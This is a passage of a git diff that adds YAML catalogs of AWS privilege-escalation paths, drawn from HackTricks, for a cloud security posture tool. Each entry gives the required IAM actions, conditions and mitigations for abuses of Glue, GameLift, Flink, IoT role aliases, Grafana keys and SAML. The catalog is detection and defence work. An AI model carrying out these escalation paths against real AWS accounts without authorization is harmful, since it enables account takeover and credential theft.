Conditional principal access requires the exact inventoried identity, + usable authority equivalent to its observed full IAM rights, fresh evidence and + matching authorization fingerprint. A scoped token/session is insufficient. + requires: + all_of: + - action: ssm:StartSession + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-codebuild-ssm-debug-session-role + scope: same_account + outcome: workload_execution + conditions: + - id: live_breakpoint + description: A build with session connections enabled must be paused at codebuild-breakpoint. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the named operation to trusted administrators and review downstream + grants. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/Welcome.html + notes: Missing exact principal, authority equivalence, fresh evidence, condition + IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted + sessions, revoked keys and audience-bound tokens do not reach the full identity. + Standard inventories never fabricate these facts. +- id: aws-devicefarm-schedulerun-existing-test-spec-passrole + provider: aws + service: devicefarm + title: Schedule an existing malicious Device Farm test spec with a passed role + summary: Attacker commands execute inside the Device Farm test runtime with the + passed execution role. Conditional principal access requires the exact inventoried + identity, usable authority equivalent to its observed full IAM rights, fresh evidence + and matching authorization fingerprint. A scoped token/session is insufficient. + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole + source_revision: 57bd5c07df + requires: + all_of: + - action: devicefarm:ScheduleRun + resource: '*' + - action: iam:PassRole + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-devicefarm-schedulerun-existing-test-spec-passrole + scope: same_account + outcome: workload_execution + conditions: + - id: condition_1 + description: An existing project, compatible app/test package, device pool and + attacker-controlled custom test-spec upload already exist. + - id: condition_2 + description: configuration.executionRoleArn in ScheduleRun overrides the project + role; a new CreateUpload or CreateProject/UpdateProject is unnecessary in this + case. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict the required actions to reviewed resources and principals. + references: [] + notes: Missing exact principal, authority equivalence, fresh evidence, condition + IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted + sessions, revoked keys and audience-bound tokens do not reach the full identity. + Standard inventories never fabricate these facts. +- id: aws-iot-byo-certificate-existing-rolealias + provider: aws + service: iot + title: Use a BYO certificate with an existing privileged role alias + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotregistercertificatewithoutca--register-an-attacker-generated-byo-certificate-as-a-device-identity + source_revision: 57bd5c07df + summary: The source can register an attacker-held certificate and attach a policy + that permits credential exchange through an existing role alias. Conditional principal + access requires the exact inventoried identity, usable authority equivalent to + its observed full IAM rights, fresh evidence and matching authorization fingerprint. + A scoped token/session is insufficient. + requires: + all_of: + - action: iot:RegisterCertificateWithoutCA + resource: '*' + - action: iot:AttachPolicy + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-iot-byo-certificate-existing-rolealias + scope: same_account + outcome: credentials + severity: high + mitigation: Restrict certificate registration and policy attachment, and scope role-alias + policies tightly. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html + confidence: conditional + conditions: + - id: active_certificate_existing_alias + description: Certificate is registered ACTIVE; an attachable policy allows AssumeRoleWithCertificate + on an existing alias pointing to the target role; if policy must be created, + iot:CreatePolicy is additionally required. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + notes: Missing exact principal, authority equivalence, fresh evidence, condition + IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted + sessions, revoked keys and audience-bound tokens do not reach the full identity. + Standard inventories never fabricate these facts. +- id: aws-iot-provisioning-claim-existing-rolealias + provider: aws + service: iot + title: Mint a provisioning certificate for an existing privileged role alias + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreateprovisioningtemplate--iampassrole--iotcreateprovisioningclaim--self-replenishing-fleet-of-attacker-certificates + source_revision: 57bd5c07df + summary: A claim-derived device certificate can use an IoT policy permitting credential + exchange through an existing role alias. Conditional principal access requires + the exact inventoried identity, usable authority equivalent to its observed full + IAM rights, fresh evidence and matching authorization fingerprint. A scoped token/session + is insufficient. + requires: + all_of: + - action: iot:CreateProvisioningTemplate + resource: '*' + - action: iot:CreateProvisioningClaim + resource: '*' + - action: iam:PassRole + resource: '*' + target: + kind: aws_role + selector: + aws_challenge_fact: aws-iot-provisioning-claim-existing-rolealias + scope: same_account + outcome: credentials + severity: high + mitigation: Restrict provisioning-template creation, claim minting, passable registration + roles, and role-alias policies. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/provisioning-templates.html + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + confidence: conditional + conditions: + - id: existing_alias_chain + description: Template binds an active certificate to an IoT policy allowing AssumeRoleWithCertificate + on an existing role alias that points to the target role; claim must be used + over MQTT. + - id: verified_collector_fact + description: The requested collector fact must bind the source, exact resource, + newly reachable authority and all runtime prerequisites; without it the result + is UNKNOWN. + notes: Missing exact principal, authority equivalence, fresh evidence, condition + IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted + sessions, revoked keys and audience-bound tokens do not reach the full identity. + Standard inventories never fabricate these facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml new file mode 100644 index 0000000000..09c1909ce4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/fis.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Fault Injection Service privilege escalation techniques. +# Source: hacktricks-cloud aws-fis-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml new file mode 100644 index 0000000000..d6828ee82d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml @@ -0,0 +1,49 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Managed Service for Apache Flink privilege escalation techniques. +# Source: hacktricks-cloud aws-managed-flink-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Applications carry a service execution role +# trusting kinesisanalytics.amazonaws.com; IAM actions use the kinesisanalytics prefix. + +- id: aws-flink-passrole-createapplication + provider: aws + service: kinesisanalytics + title: Create and start a Managed Flink application with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#createapplication--iampassrole--malicious-code + source_revision: 171e422299 + summary: The source can start Flink application code it controls using a passable service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: kinesisanalytics.amazonaws.com + - action: kinesisanalytics:CreateApplication + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: kinesisanalytics.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting kinesisanalytics.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - flink_new_application_startable + conditions: + - id: controlled_code + description: The source can provide application ZIP content in CreateApplication; code supplied from S3 instead needs the execution role to read that object. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on Flink roles with iam:PassedToService=kinesisanalytics.amazonaws.com and restrict CreateApplication to the deployment pipeline. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplication.html + notes: The service does not expose role credentials directly; the code acts with the role's permissions. CreateApplication is authorized on * and StartApplication on the new application's ARN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml new file mode 100644 index 0000000000..29470a88d5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml @@ -0,0 +1,48 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon GameLift Servers privilege escalation techniques. +# Source: hacktricks-cloud aws-gamelift/README.md (rev 171e422299). + +- id: aws-gamelift-passrole-createfleet + provider: aws + service: gamelift + title: Create a GameLift fleet with a passed instance or container-fleet role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting gamelift.amazonaws.com by running a server build or container it controls on a fleet created with that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: gamelift:CreateFleet + resource: "*" + - - action: gamelift:CreateContainerFleet + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: gamelift.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting gamelift.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: controlled_build + description: The fleet must run a build, script or container group definition the source controls (an existing one, or gamelift:CreateBuild / CreateScript / CreateContainerGroupDefinition with an upload or image). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on GameLift instance and fleet roles and gamelift:CreateFleet / CreateContainerFleet to build pipelines. + references: + - https://docs.aws.amazon.com/gamelift/latest/developerguide/setting-up-role.html + - https://docs.aws.amazon.com/gamelift/latest/apireference/API_CreateFleet.html + - https://docs.aws.amazon.com/gamelift/latest/apireference/API_CreateContainerFleet.html + notes: The InstanceRoleArn (CreateFleet) or FleetRoleArn (CreateContainerFleet) credentials are available to processes on fleet instances or containers. CreateGameServerGroup is excluded separately (its role is used by FleetIQ to manage the Auto Scaling group, not exposed to instance code). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml new file mode 100644 index 0000000000..0a07781d62 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml @@ -0,0 +1,48 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon GameLift Streams privilege escalation techniques. +# Source: hacktricks-cloud aws-gamelift-streams-privesc/README.md (rev 171e422299). +# Session roles must trust gameliftstreams.amazonaws.com and be named GameLiftStreams-* (StartStreamSession API reference). + +- id: aws-gameliftstreams-passrole-startstreamsession + provider: aws + service: gameliftstreams + title: Start a stream session of a controlled application with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamsstartstreamsession--iampassrole-with-attacker-controlled-application-code + source_revision: 171e422299 + summary: The source can obtain the privileges of passable GameLiftStreams-* roles trusting gameliftstreams.amazonaws.com when it can stream an application whose code it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: gameliftstreams:StartStreamSession + resource: "*" + - - action: gameliftstreams:CreateStreamUrl + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: gameliftstreams.amazonaws.com + name_prefix: GameLiftStreams- + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "GameLiftStreams-* roles passable in {account}" + outcome: workload_execution + conditions: + - id: controlled_application + description: An application whose content the source controls must be associated with an active stream group with capacity (creating or associating one needs further GameLift Streams and S3 permissions). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on GameLiftStreams-* roles to the session backend and restrict who can create or update applications. + references: + - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_StartStreamSession.html + notes: gameliftstreams:CreateStreamUrl is not in aws_permissions_cat.yaml; HackTricks documents it as an alternative path that also takes a RoleArn. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml new file mode 100644 index 0000000000..9de4269457 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml @@ -0,0 +1,272 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Glue privilege escalation techniques. +# Source: hacktricks-cloud aws-glue-privesc/README.md (rev a53b46392c; re-pointed to rev 171e422299). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-glue-passrole-createdevendpoint + provider: aws + service: glue + title: Create a Glue development endpoint with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-a-legacy-development-endpoint-with-a-privileged-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: glue:CreateDevEndpoint + resource: "*" + any_of: + - - action: glue:GetDevEndpoint + resource: "*" + - - action: glue:GetDevEndpoints + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: dev_endpoint_availability + description: Glue development endpoints are a legacy feature (not supported on Glue 2.0+ runtimes); creation may be unavailable in some regions/accounts. + - id: network_reachability + description: VPC endpoints only expose a private address; the source needs a network path to SSH. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com and deny glue:CreateDevEndpoint. + references: + - https://docs.aws.amazon.com/glue/latest/dg/dev-endpoints.html + notes: Legacy feature; kept because the API still exists. Reach is roles trusting glue.amazonaws.com within PassRole scope. + +- id: aws-glue-updatedevendpoint + provider: aws + service: glue + title: Add an SSH key to an existing Glue development endpoint + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#replace-the-ssh-key-on-a-legacy-development-endpoint + source_revision: 171e422299 + summary: The source may use the role of an existing Glue development endpoint after adding an SSH key it controls. + requires: + all_of: + - action: glue:UpdateDevEndpoint + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: glue_dev_endpoint + scope: same_account + aggregate_as: "Execution roles of accessible Glue development endpoints in {account}" + outcome: workload_execution + preconditions: + - glue_existing_dev_endpoint_ssh_access + conditions: + - id: ssh_reachability + description: The recorded public address may still be blocked by network controls outside the IAM policy model. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict glue:UpdateDevEndpoint to endpoint administrators and keep development endpoint roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateDevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_DevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/dg/glue-specifying-resource-arns.html + notes: The endpoint must be READY, have a public address and a free managed SSH-key slot. Private endpoints and legacy single-key configurations need separate reachability or key-change evidence. + +- id: aws-glue-startjobrun-override-script + provider: aws + service: glue + title: Run an existing Glue job overriding its script or dependency arguments + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the execution role of existing Glue jobs it can start directly or through a trigger it creates with overriding arguments. + requires: + any_of: + - - action: glue:StartJobRun + resource: "{target.resource_arn}" + - - action: glue:CreateTrigger + resource: "arn:{source.partition}:glue:*:{target.account}:trigger/*" + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: Execution roles of Glue jobs startable in {account} + outcome: workload_execution + preconditions: + - glue_job_override_arguments_available + conditions: + - id: job_role_reads_attacker_object + description: The job role must be able to read an S3 location whose content the source controls (its own public/cross-account bucket or a writable bucket the role can read). + - id: runtime_packaging + description: Dependency override format depends on job type/runtime. + - id: trigger_fires + description: The CreateTrigger variant needs a scheduled or conditional trigger created as started, or glue:StartTrigger for an on-demand trigger; trigger actions carry the overriding job arguments. + blockers: + - glue_nonoverridable_arguments + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Pin script and executable dependency arguments, including --python-virtual-env, in NonOverridableArguments and restrict glue:StartJobRun and glue:CreateTrigger to orchestrators. + references: + - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-etl-glue-arguments.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateTrigger.html + notes: A collected unpinned --scriptLocation plus StartJobRun on the exact job, or permission to create a new scheduled trigger in the same Region, establishes a conditional route. Pinned scripts may still have a dependency route through --extra-py-files, --extra-jars, --additional-python-modules or --python-virtual-env; those remain unresolved until their runtime prerequisites are verified. The page states that creating a trigger for an existing job does not itself require iam:PassRole. The HEAD page has no dedicated heading for this variant; it is sourced at the job heading. + + +- id: aws-glue-passrole-createjob-or-updatejob-run + provider: aws + service: glue + title: Create or update a Glue job with a passed role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_job_role_and_execution_bind + conditions: + - id: script_location_readable + description: The passed role must be able to read the script location the source supplies. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: updatejob_existing_job + description: The UpdateJob variants need an existing job within the UpdateJob Resource. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService, and restrict job creation/update and trigger creation to the deployment pipeline. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateJob.html + notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable scheduled trigger in its Region. The script must still be readable by the passed role. + +- id: aws-glue-updatejob-existing-role + provider: aws + service: glue + title: Replace an existing Glue job definition that keeps its attached role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Glue jobs it can update. + requires: + all_of: + - action: glue:UpdateJob + resource: "{target.resource_arn}" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: "Execution roles of Glue jobs updatable in {account}" + outcome: workload_execution + preconditions: + - glue_existing_job_has_runnable_trigger + conditions: + - id: job_runs_later + description: An active scheduled trigger or a source-startable on-demand trigger is linked to the exact job; the job runs only when that trigger fires. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict glue:UpdateJob to the deployment pipeline on specific job ARNs. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateJob.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_JobUpdate.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html + notes: HackTricks states UpdateJob alone suffices, but JobUpdate marks Role as required and states the previous job definition is completely overwritten, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. An operator-run possibility is not enough to establish a reachable execution path. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. + +- id: aws-glue-passrole-createsession + provider: aws + service: glue + title: Create a Glue interactive session with a passed role and run statements in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-an-interactive-session-with-a-privileged-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_new_session_with_statement + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: statement_output + description: Reading statement output needs glue:GetStatement; code still runs without it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com, scope glue:CreateSession and glue:RunStatement to owner-tagged sessions, and keep session roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateSession.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_RunStatement.html + - https://docs.aws.amazon.com/glue/latest/dg/glue-is-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html + notes: Distinct from aws-glue-runstatement-interactive-session (existing session, no PassRole). CreateSession and RunStatement must cover the same unused session ID in one Region; the session may need time to become ready before code runs. + +- id: aws-glue-runstatement-interactive-session + provider: aws + service: glue + title: Run code in an existing Glue interactive session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#execute-code-in-an-existing-interactive-session + source_revision: 171e422299 + summary: The source can run code under the role attached to a ready Glue interactive session it can use. + requires: + all_of: + - action: glue:RunStatement + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: glue_session + scope: same_account + aggregate_as: "Execution roles of runnable Glue sessions in {account}" + outcome: workload_execution + preconditions: + - glue_existing_session_ready_for_statement + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict glue:RunStatement to sessions owned by the caller and keep their execution roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_RunStatement.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_Session.html + notes: The target role comes from the recorded session rather than a generic Glue service trust. The session must be READY and RunStatement must cover that exact session ARN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml new file mode 100644 index 0000000000..07cf42ecfe --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml @@ -0,0 +1,107 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Managed Grafana application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-managed-grafana-privesc/README.md (rev 171e422299). +# Collected workspace summaries provide ARN, status and Grafana version. + +- id: aws-grafana-createworkspaceapikey-admin + provider: aws + service: grafana + title: Mint an ADMIN Grafana workspace API key + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanacreateworkspaceapikey--arbitrary-role-legacy-api-key + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by minting a legacy API key with a chosen role. + requires: + all_of: + - action: grafana:CreateWorkspaceApiKey + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceApiKey + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + grants: [Grafana ADMIN] + preconditions: + - grafana_api_key_workspace_eligible + conditions: + - id: legacy_api_keys_supported + description: Grafana versions before 12 support API keys through the AWS API; workspace network access controls still apply. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict grafana:CreateWorkspaceApiKey, migrate to service accounts and alert on ADMIN key creation. + notes: Grafana application administration (dashboards, alerts, data sources and their proxies); not IAM credentials. + +- id: aws-grafana-serviceaccounttoken-admin + provider: aws + service: grafana + title: Mint a Grafana service-account token (optionally for a new ADMIN account) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by creating an ADMIN service account and minting a token for it. + requires: + all_of: + - action: grafana:CreateWorkspaceServiceAccount + resource: "{target.resource_arn}" + - action: grafana:CreateWorkspaceServiceAccountToken + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceServiceAccountToken + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + grants: [Grafana ADMIN] + preconditions: + - grafana_service_account_workspace_eligible + conditions: + - id: grafana_9_or_later + description: Service accounts require Grafana 9 or later; workspace network access controls still apply. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict grafana:CreateWorkspaceServiceAccount and CreateWorkspaceServiceAccountToken and inventory workspace service accounts and tokens. + notes: Token vending alone (CreateWorkspaceServiceAccountToken for an existing service account) reaches only that account's Grafana role, which is not modelled as ADMIN; ADMIN is guaranteed only with CreateWorkspaceServiceAccount. + +- id: aws-grafana-updateworkspaceauthentication-saml-admin + provider: aws + service: grafana + title: Add an attacker-controlled SAML administrator to an existing Grafana workspace + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdateworkspaceauthentication--attacker-controlled-saml-idp + source_revision: b587e6bd26 + summary: The source can gain Grafana administrator access to a workspace through a SAML identity provider it controls. + requires: + all_of: + - action: grafana:UpdateWorkspaceAuthentication + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:UpdateWorkspaceAuthentication + scope: same_account + aggregate_as: Managed Grafana workspace administrators in {account} + outcome: application_admin + grants: [Grafana ADMIN] + preconditions: + - grafana_saml_workspace_active + conditions: + - id: saml_assertions + description: The source must control valid SAML metadata and assertions mapped to the workspace ADMIN role and be able to reach its endpoint. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict workspace authentication updates and alert on SAML metadata and administrator role-mapping changes. + references: + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_UpdateWorkspaceAuthentication.html + notes: The grant is limited to Grafana's application plane and configured data sources; it does not issue IAM credentials. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml new file mode 100644 index 0000000000..1c1d146bf7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/greengrass.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS greengrass privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml new file mode 100644 index 0000000000..e9f2263dd3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/healthomics.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS HealthOmics privilege escalation techniques. +# Source: hacktricks-cloud aws-healthomics-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml new file mode 100644 index 0000000000..1f7f396d7a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml @@ -0,0 +1,821 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IAM privilege escalation techniques. +# Source: hacktricks-cloud aws-iam-privesc/README.md. + +- id: 